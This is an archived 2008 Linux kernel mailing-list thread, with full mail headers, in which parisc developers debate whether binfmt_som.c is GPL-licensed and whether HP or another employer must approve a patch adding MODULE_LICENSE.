Xref: news.gmane.org gmane.linux.ports.parisc:610 gmane.linux.kernel:719403
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/610>

On Sun, Aug 10, 2008 at 05:11:59PM +0300, Adrian Bunk wrote:
> On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
...
> > Someone from HP needs to ACK this patch since I believe HP funded the code
> > changes made during the parisc-linux port. This should be a no-brainer
> > and I expect Bdale Garbee can quickly take care of this.
> 
> Either the file is available since the beginning under the terms of the 
> GPLv2 (or a compatible license that can be reduced to GPLv2) or it's 
> addition to the kernel was a huge mistake.

As a former HP employee who was one of the several parisc-linux developers,
I'm certain the intent was to release this as GPL. That's why I said
"this should be a no-brainer".

However, it's still HP's (and not my) right to assert that.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 13:46:43 +0300
Lines: 43
Approved: news@gmane.org
Message-ID: <20080811104643.GA3338@cs181140183.pp.htv.fi>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi> <20080810005511.GB2617@colo.lackof.org> <20080810141159.GA13105@cs181140183.pp.htv.fi> <20080811001015.GC14163@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218451713 10237 80.91.229.12 (11 Aug 2008 10:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 10:48:33 +0000 (UTC)
Cc: kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>, bdale@hp.com
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 12:49:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSUxn-0004pu-T9
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 12:49:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751499AbYHKKsZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Aug 2008 06:48:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751498AbYHKKsZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Aug 2008 06:48:25 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:32778 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751458AbYHKKsY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Aug 2008 06:48:24 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id 97ADA5BC034;
	Mon, 11 Aug 2008 13:48:23 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20080811001015.GC14163@colo.lackof.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:611 gmane.linux.kernel:719493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/611>

On Sun, Aug 10, 2008 at 06:10:15PM -0600, Grant Grundler wrote:
> On Sun, Aug 10, 2008 at 05:11:59PM +0300, Adrian Bunk wrote:
> > On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> ...
> > > Someone from HP needs to ACK this patch since I believe HP funded the code
> > > changes made during the parisc-linux port. This should be a no-brainer
> > > and I expect Bdale Garbee can quickly take care of this.
> > 
> > Either the file is available since the beginning under the terms of the 
> > GPLv2 (or a compatible license that can be reduced to GPLv2) or it's 
> > addition to the kernel was a huge mistake.
> 
> As a former HP employee who was one of the several parisc-linux developers,
> I'm certain the intent was to release this as GPL. That's why I said
> "this should be a no-brainer".
> 
> However, it's still HP's (and not my) right to assert that.

If it wasn't already 100% clear that the file was released under
the terms of the GPLv2 (or a compatible license that can be reduced
to GPLv2) at the day when it was included into the kernel something
went horribly wrong back then.

Otherwise HP would have the situation SCO was desperately searching for...

> thanks,
> grant

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 10:56:51 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
References: <20080811104643.GA3338@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218466649 29679 80.91.229.12 (11 Aug 2008 14:57:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 14:57:29 +0000 (UTC)
Cc: grundler@parisc-linux.org, kyle@mcmartin.ca, matthew@wil.cx,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, bdale@hp.com
To: bunk@kernel.org (Adrian Bunk)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 16:58:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSYqQ-0001ct-56
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 16:58:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751944AbYHKO4z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Aug 2008 10:56:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751861AbYHKO4z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Aug 2008 10:56:55 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2896 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751944AbYHKO4y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Aug 2008 10:56:54 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 100E74E77; Mon, 11 Aug 2008 10:56:51 -0400 (EDT)
In-Reply-To: <20080811104643.GA3338@cs181140183.pp.htv.fi> from "Adrian Bunk" at Aug 11, 2008 01:46:43 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:612 gmane.linux.kernel:719596
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/612>

> On Sun, Aug 10, 2008 at 06:10:15PM -0600, Grant Grundler wrote:
> > On Sun, Aug 10, 2008 at 05:11:59PM +0300, Adrian Bunk wrote:
> > > On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> > ...
> > > > Someone from HP needs to ACK this patch since I believe HP funded the code
> > > > changes made during the parisc-linux port. This should be a no-brainer
> > > > and I expect Bdale Garbee can quickly take care of this.
> > > 
> > > Either the file is available since the beginning under the terms of the 
> > > GPLv2 (or a compatible license that can be reduced to GPLv2) or it's 
> > > addition to the kernel was a huge mistake.
> > 
> > As a former HP employee who was one of the several parisc-linux developers,
> > I'm certain the intent was to release this as GPL. That's why I said
> > "this should be a no-brainer".
> > 
> > However, it's still HP's (and not my) right to assert that.
> 
> If it wasn't already 100% clear that the file was released under
> the terms of the GPLv2 (or a compatible license that can be reduced
> to GPLv2) at the day when it was included into the kernel something
> went horribly wrong back then.
> 
> Otherwise HP would have the situation SCO was desperately searching for...

This file was included before the SCO situation arose.  The copyright
notice is similar to most.  Checking 2.6.22.19, I see that more than
half the .c files lack MODULE_LICENSE("GPL") lines.

I don't understand why we are talking about HP here.  According to
Matthew, his last commit to this file occured while he worked for
Genedata.  It is my understanding that copyright normally acrues
to employers in employment situations.  If Matthew was an employee
and not an independent contractor at the time, then why are we not
talking about Genedata, or its subsequent owner?  Subsequent
employment at HP or their funding of the parisc port shouldn't
affect the licensing of a file that was previously contributed.
The file appears to be a derived work.  This may also affect its
copyright status.  The only reason HP should be involved is if the
file somehow contains material copyrighted by HP.

The whole licensing issue for the linux program and modules,
particularly for individual files, appears to be a mess.  The
COPYING file is vague on the licensing for files.   The recommended
wording suggested by the FSF isn't used.  I can't see that adding
MODULE_LICENSE("GPL") lines is going to help much.

There are several GPL licenses and versions.  The line isn't
going to mean much to a lawyer.  I really think each file should
be specific about its licensing in words that can be clearly
understood.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 11:15:08 -0300
Lines: 17
Approved: news@gmane.org
Message-ID: <1218464108.31573.1.camel@rover.gag.com>
References: <20080806211155.GV1702@cs181140183.pp.htv.fi>
	 <20080810005511.GB2617@colo.lackof.org>
	 <20080810010005.GL8618@parisc-linux.org>
	 <1218375714.18157.56.camel@rover.gag.com>
	 <20080810151433.GO8618@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218468649 4751 80.91.229.12 (11 Aug 2008 15:30:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 15:30:49 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Adrian Bunk <bunk@kernel.org>, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 17:31:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSZMn-0006MG-D0
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 17:31:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751558AbYHKPab (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Aug 2008 11:30:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752009AbYHKPab
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Aug 2008 11:30:31 -0400
Original-Received: from winfree.gag.com ([192.133.104.8]:47618 "EHLO winfree.gag.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751558AbYHKPaa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Aug 2008 11:30:30 -0400
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id A7961303A;
	Mon, 11 Aug 2008 09:30:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at gag.com
Original-Received: from winfree.gag.com ([127.0.0.1])
	by localhost (winfree.gag.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 4QDAak-Gc1OH; Mon, 11 Aug 2008 09:30:26 -0600 (MDT)
Original-Received: from rover.gag.com (localhost.localdomain [127.0.0.1])
	by winfree.gag.com (Postfix) with ESMTP id 3EC503008;
	Mon, 11 Aug 2008 09:30:26 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id 6286415E5F3; Mon, 11 Aug 2008 09:30:25 -0600 (MDT)
In-Reply-To: <20080810151433.GO8618@parisc-linux.org>
X-Mailer: Evolution 2.22.3.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:613 gmane.linux.kernel:719621
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/613>

On Sun, 2008-08-10 at 09:14 -0600, Matthew Wilcox wrote:

> So while HP has a legitimate claim to some parts of the file, my initial
> contributions before I worked for Linuxcare or HP were the largest and I
> don't think that anyone has a legitimate claim that this is not a
> derived work of GPL code, and hence I think Adrian's patch should be
> accepted.

I agree.  Thanks for tracking down the details.

Bdale

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 18:51:58 +0300
Lines: 79
Approved: news@gmane.org
Message-ID: <20080811155158.GA21292@cs181140183.pp.htv.fi>
References: <20080811104643.GA3338@cs181140183.pp.htv.fi> <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218470056 10266 80.91.229.12 (11 Aug 2008 15:54:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 15:54:16 +0000 (UTC)
Cc: grundler@parisc-linux.org, kyle@mcmartin.ca, matthew@wil.cx,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, bdale@hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 17:55:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSZjF-0007au-QA
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 17:54:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753739AbYHKPxm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Aug 2008 11:53:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753590AbYHKPxm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Aug 2008 11:53:42 -0400
Original-Received: from smtp6.pp.htv.fi ([213.243.153.40]:53565 "EHLO smtp6.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753310AbYHKPxl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Aug 2008 11:53:41 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp6.pp.htv.fi (Postfix) with ESMTP id D368B5BC03B;
	Mon, 11 Aug 2008 18:53:39 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:614 gmane.linux.kernel:719638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/614>

On Mon, Aug 11, 2008 at 10:56:51AM -0400, John David Anglin wrote:
> > On Sun, Aug 10, 2008 at 06:10:15PM -0600, Grant Grundler wrote:
> > > On Sun, Aug 10, 2008 at 05:11:59PM +0300, Adrian Bunk wrote:
> > > > On Sat, Aug 09, 2008 at 06:55:11PM -0600, Grant Grundler wrote:
> > > ...
> > > > > Someone from HP needs to ACK this patch since I believe HP funded the code
> > > > > changes made during the parisc-linux port. This should be a no-brainer
> > > > > and I expect Bdale Garbee can quickly take care of this.
> > > > 
> > > > Either the file is available since the beginning under the terms of the 
> > > > GPLv2 (or a compatible license that can be reduced to GPLv2) or it's 
> > > > addition to the kernel was a huge mistake.
> > > 
> > > As a former HP employee who was one of the several parisc-linux developers,
> > > I'm certain the intent was to release this as GPL. That's why I said
> > > "this should be a no-brainer".
> > > 
> > > However, it's still HP's (and not my) right to assert that.
> > 
> > If it wasn't already 100% clear that the file was released under
> > the terms of the GPLv2 (or a compatible license that can be reduced
> > to GPLv2) at the day when it was included into the kernel something
> > went horribly wrong back then.
> > 
> > Otherwise HP would have the situation SCO was desperately searching for...
> 
> This file was included before the SCO situation arose.  The copyright
> notice is similar to most.  Checking 2.6.22.19, I see that more than
> half the .c files lack MODULE_LICENSE("GPL") lines.

MODULE_LICENSE() has nothing to do with the SCO case.

As the name already indicates it is only for modules (it doesn't make 
sense in built-in code) for showing that a module has a licence that is 
compatible with the GPL (all other modules are legally somewhere between 
fishy and illegal).

>...
> The whole licensing issue for the linux program and modules,
> particularly for individual files, appears to be a mess.  The
> COPYING file is vague on the licensing for files.   The recommended
> wording suggested by the FSF isn't used.  I can't see that adding
> MODULE_LICENSE("GPL") lines is going to help much.
> 
> There are several GPL licenses and versions.  The line isn't
> going to mean much to a lawyer.  I really think each file should
> be specific about its licensing in words that can be clearly
> understood.

The toplevel COPYING file of the kernel sources contains the exact 
licence text for all files (including binfmt_som.c) in the kernel.

Even if the wording suggested by the FSF is not used in all files it's 
clear that the kernel is under the GPLv2, and there isn't any serious 
doubt that if a file like binfmt_som.c was not under a GPLv2 compatible 
licence but built into a GPLv2'ed kernel the resulting image couldn't be 
legally distributed.

Does anyone involved with code going from HP to the Linux kernel 
seriously think that there is code for which it isn't 100% certain
that it was made available under the GPLv2?

> Dave

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 12:56:43 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20080811165644.B18F04DE6@hiauly1.hia.nrc.ca>
References: <20080811155158.GA21292@cs181140183.pp.htv.fi>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218473833 23913 80.91.229.12 (11 Aug 2008 16:57:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 16:57:13 +0000 (UTC)
Cc: grundler@parisc-linux.org, kyle@mcmartin.ca, matthew@wil.cx,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, bdale@hp.com
To: bunk@kernel.org (Adrian Bunk)
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756145AbYHKQ46@vger.kernel.org Mon Aug 11 18:58:04 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1756145AbYHKQ46@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSaiX-00078K-OS
	for glk-linux-kernel-3@gmane.org; Mon, 11 Aug 2008 18:58:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756145AbYHKQ46 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 11 Aug 2008 12:56:58 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751513AbYHKQ4r
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 11 Aug 2008 12:56:47 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2920 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753416AbYHKQ4q (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 11 Aug 2008 12:56:46 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B18F04DE6; Mon, 11 Aug 2008 12:56:44 -0400 (EDT)
In-Reply-To: <20080811155158.GA21292@cs181140183.pp.htv.fi> from "Adrian Bunk" at Aug 11, 2008 06:51:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:719676 gmane.linux.ports.parisc:615
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/615>

> The toplevel COPYING file of the kernel sources contains the exact 
> licence text for all files (including binfmt_som.c) in the kernel.

The COPYING file contains the license text but it doesn't say clearly
what the license applies to.  The closest thing to this is the statement

   Also note that the GPL below is copyrighted by the Free Software
   Foundation, but the instance of code that it refers to (the Linux
   kernel) is copyrighted by me and others who actually wrote it.

in the COPYING file.  The applicability of the GPL is parenthetical.
The HOWTO file is more specific, but a clear license statement at the
top level of the "source" tree is missing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:02:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 11:11:36 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20080811171136.GS8618@parisc-linux.org>
References: <20080811104643.GA3338@cs181140183.pp.htv.fi> <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218474710 27026 80.91.229.12 (11 Aug 2008 17:11:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 17:11:50 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, grundler@parisc-linux.org,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	bdale@hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 19:12:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KSawf-0003hw-EE
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 19:12:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751498AbYHKRLi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Aug 2008 13:11:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752204AbYHKRLi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Aug 2008 13:11:38 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:42362 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751498AbYHKRLi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Aug 2008 13:11:38 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id ABBEE494007; Mon, 11 Aug 2008 11:11:36 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:616 gmane.linux.kernel:719687
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/616>

On Mon, Aug 11, 2008 at 10:56:51AM -0400, John David Anglin wrote:
> This file was included before the SCO situation arose.  The copyright
> notice is similar to most.  Checking 2.6.22.19, I see that more than
> half the .c files lack MODULE_LICENSE("GPL") lines.
> 
> I don't understand why we are talking about HP here.  According to
> Matthew, his last commit to this file occured while he worked for
> Genedata.

Whoops, that was in the linux-2.2 CVS repository.  There were subsequent
commits in the 2.4/2.5/2.6 repositories, some of which HP might have
a claim to.

> It is my understanding that copyright normally acrues
> to employers in employment situations.  If Matthew was an employee
> and not an independent contractor at the time, then why are we not
> talking about Genedata, or its subsequent owner?

While I don't have a copy of my employment contract with Genedata any
more, my recollection is that they did not claim copyright on works I
produced that were off company time.  It would be governed by Swiss law
which I believe would not permit such a term in the contract.

> Subsequent
> employment at HP or their funding of the parisc port shouldn't
> affect the licensing of a file that was previously contributed.

That's my basic argument.  If binfmt_elf had contained the GPL
boilerplate, I would have copied that when creating binfmt_som.  It was
intended to be GPL, it was a derivative work of GPL file (that also
didn't explicitly state it was GPL), it has been treated as GPL for
almost a decade.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Adrian Bunk <bunk@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Mon, 11 Aug 2008 21:43:41 +0300
Lines: 48
Approved: news@gmane.org
Message-ID: <20080811184341.GA1880@cs181140183.pp.htv.fi>
References: <20080811155158.GA21292@cs181140183.pp.htv.fi> <20080811165644.B18F04DE6@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1218480334 13633 80.91.229.12 (11 Aug 2008 18:45:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Aug 2008 18:45:34 +0000 (UTC)
Cc: grundler@parisc-linux.org, kyle@mcmartin.ca, matthew@wil.cx,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, bdale@hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
